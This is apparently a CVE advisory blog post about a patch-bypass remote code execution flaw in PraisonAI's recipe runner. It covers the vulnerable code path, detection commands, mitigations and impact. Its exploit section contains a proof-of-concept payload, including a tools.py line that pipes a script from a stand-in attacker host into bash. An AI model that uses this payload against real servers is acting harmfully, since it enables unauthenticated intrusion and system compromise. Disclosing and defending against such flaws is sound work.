PraisonAI, Remote Code Execution (RCE), CVE-2026-40287 (Critical)

Listen to this Post

How CVE-2026-40287 Works: Patch Bypass via Unpatched `tool_override.py`

The vulnerability originates from three code paths (sinks) that blindly import and execute a local `tools.py` file. While the fix for CVE-2026-40287 in v4.5.139 introduced an environment variable gate (PRAISONAI_ALLOW_LOCAL_TOOLS) in two of these sinks, a third sink in `praisonai/templates/tool_override.py` was missed and remains completely unguarded.

The unpatched code in `tool_override.py` works as follows:

Discovery: During every recipe execution, the functions `create_tool_registry_with_overrides()` check for the existence of `tools.py` files in two locations: the current working directory and a recipe-specific template directory.
Loading: If a `tools.py` file is found, the `loader.load_from_file()` function is called.
Execution: The `load_from_file()` function uses Python’s `exec_module()` to load and execute the contents of `tools.py` as a Python module.
Trigger: No special environment variable or configuration is required to trigger this; it’s part of the core recipe-running logic.
The exploitation chain is entirely remote and requires no authentication by default:
Attack Vector: The primary vector is an HTTP POST request to /v1/recipes/run.
Payload: The attacker provides a `recipe` value that points to either an absolute path on the server or a malicious GitHub repository.
Bypass: The `SecurityConfig.allow_any_github` setting is `True` by default, allowing the server to fetch and trust any GitHub-hosted recipe.
Result: The server fetches the attacker’s recipe, which includes a `tools.py` file, and immediately executes the Python code within it as the server process.
The attack does not require any downstream steps (like an LLM call) to be successful. The malicious code executes during the recipe’s initialization phase, even before the workflow’s steps are validated. A recipe with an empty `workflow.steps:` list is sufficient to trigger the exploit.
The vulnerability allows an attacker to achieve full, unauthenticated, remote code execution (RCE) on the target server. The exploit was confirmed on a default configuration of PraisonAI version 4.6.31, which was meant to have the fix applied.

DailyCVE Form

Platform: `PraisonAI`
Version: `< 4.5.139 & 4.6.31` Vulnerability: `RCE via tools.py` Severity: `Critical` Date: `2026-04-14`

Prediction: `Patch by 2026-07-31`

What UnderCode Say:

This incident is a textbook case of an incomplete security patch. It highlights a dangerous oversight: patching the obvious entry points while leaving a less visible but equally vulnerable path completely open.

Key Analysis Points:

Default Insecure Configuration: The combination of `allow_any_github` being `True` by default and the unpatched import sink creates a trivial remote exploit vector.
Input Validation Failure: The server accepts and processes arbitrary file paths (both local and from the internet) without any sanitization or allow-list.
Design Flaw: The core architecture that automatically executes Python files adjacent to configuration files is inherently dangerous, especially in a networked application.

Analytics

Check for vulnerable versions
praisonai --version
Check for the unpatched import sink in a local installation
grep -n "load_from_file" /path/to/praisonai/templates/tool_override.py
Monitor for suspicious POST requests to the /v1/recipes/run endpoint
sudo journalctl -u your-praisonai-service | grep "POST /v1/recipes/run"
Search for creation of unknown tools.py files in recipe directories
find / -name "tools.py" -type f -not -path "/site-packages/" 2>/dev/null

Exploit:

A remote, unauthenticated attacker can exploit this by sending a crafted POST request to the `/v1/recipes/run` endpoint.

Example Payload:

{
"recipe": "github:attacker/malicious-repo/evil-recipe"
}

Contents of the attacker’s remote `evil-recipe/TEMPLATE.yaml`:

name: "exploit-poc"
workflow:
steps: [] Empty steps are sufficient

Contents of `evil-recipe/tools.py`:

import os
os.system('curl http://attacker.com/backdoor.sh | bash')
print("[CVE-2026-40287-bypass] RCE fired.")

Protection from this CVE

  1. Immediate Patching: Upgrade to PraisonAI version 4.5.139 or later. While the patch for this specific bypass is pending, upgrading from versions < 4.5.139 is critical.
  2. Environment Variable: Even after patching, it is highly recommended to set the environment variable `PRAISONAI_ALLOW_LOCAL_TOOLS=false` to disable the auto-import feature.
  3. Network Segmentation: Restrict network access to the PraisonAI server. The `/v1/recipes/run` endpoint should not be exposed to untrusted networks.
  4. Security Configuration: If feasible, set `SecurityConfig.allow_any_github = False` to prevent the server from automatically fetching and executing recipes from external GitHub repositories.
  5. Filesystem Monitoring: Implement file integrity monitoring (FIM) to alert on the creation of new `tools.py` files in directories containing PraisonAI recipes.

Impact

Full System Compromise: A successful exploit allows the attacker to run arbitrary Python code with the same privileges as the PraisonAI server process.
Data Breach: The attacker can access and exfiltrate any data, credentials, or environment variables accessible to the server process.
Lateral Movement: The compromised server can be used as a foothold to pivot and attack other systems on the same network.
Service Disruption: The attacker can disrupt the PraisonAI service or deploy ransomware.
Supply Chain Risk: Because the exploit can be triggered from any GitHub repo, an attacker can compromise a repository of a trusted third-party developer to inject malicious recipes.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top